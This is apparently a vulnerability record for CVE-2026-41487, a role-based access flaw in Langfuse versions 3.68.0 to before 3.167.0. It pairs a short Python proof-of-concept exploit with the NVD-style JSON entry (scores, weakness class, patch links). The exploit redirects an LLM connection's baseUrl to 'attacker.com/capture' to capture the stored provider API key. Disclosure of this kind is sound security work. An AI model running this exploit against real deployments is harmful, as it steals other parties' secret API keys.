CVE-2026-41487

import requests # Target API endpoint for updating LLM connection target_url = "https://<target-langfuse-domain>/api/public/llm/<connection_id>" # Attacker controlled server to capture the leaked secret attacker_server = "http://attacker.com/capture" # Headers with authentication token of a low-privileged 'member' user headers = { "Authorization": "Bearer <member_user_token>", "Content-Type": "application/json" } # Malicious payload exploiting the RBAC flaw payload = { "baseUrl": attacker_server, # Depending on the API version, other fields might be needed "provider": "openai", "modelName": "gpt-4" } try: # Send the update request response = requests.patch(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit request sent successfully.") print("[*] Check your attacker server logs for the intercepted API Key.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-41487", "sourceIdentifier": "[email protected]", "published": "2026-05-08T15:16:39.800", "lastModified": "2026-05-13T17:12:55.190", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Langfuse is an open source large language model engineering platform. From version 3.68.0 to before version 3.167.0, there is a role-based-access control flaw in the LLM connection update flow. An authenticated, low-privileged user of role “member” in a project could request the update of an existing LLM connection to an attacker-controlled baseUrl, causing Langfuse to reuse the stored provider secret and redirect the test request to an attacker-controlled endpoint. This could expose the plaintext provider LLM API key for that connection. The attack is only possible if a user is already part of a project and has “member” scoped access. This issue has been patched in version 3.167.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:langfuse:langfuse:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.68.0", "versionEndExcluding": "3.167.0", "matchCriteriaId": "B09439D9-C5DA-4CFA-8EE1-E9E80B104ED1"}]}]}], "references": [{"url": "https://github.com/langfuse/langfuse/commit/7527bb0d84bc0a3dc24a4b16d22ed2e46e6dddff", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/langfuse/langfuse/commit/e12386f9d4368bbfff24a4ad7fd53641091605ff", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/langfuse/langfuse/pull/13027", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/langfuse/langfuse/pull/13055", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/langfuse/langfuse/releases/tag/v3.167.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/langfuse/langfuse/security/advisories/GHSA-2524-j966-gfgh", "source": "[email protected]", "tags": ["Mitigation", "Patch", "Vendor Advisory"]}]}}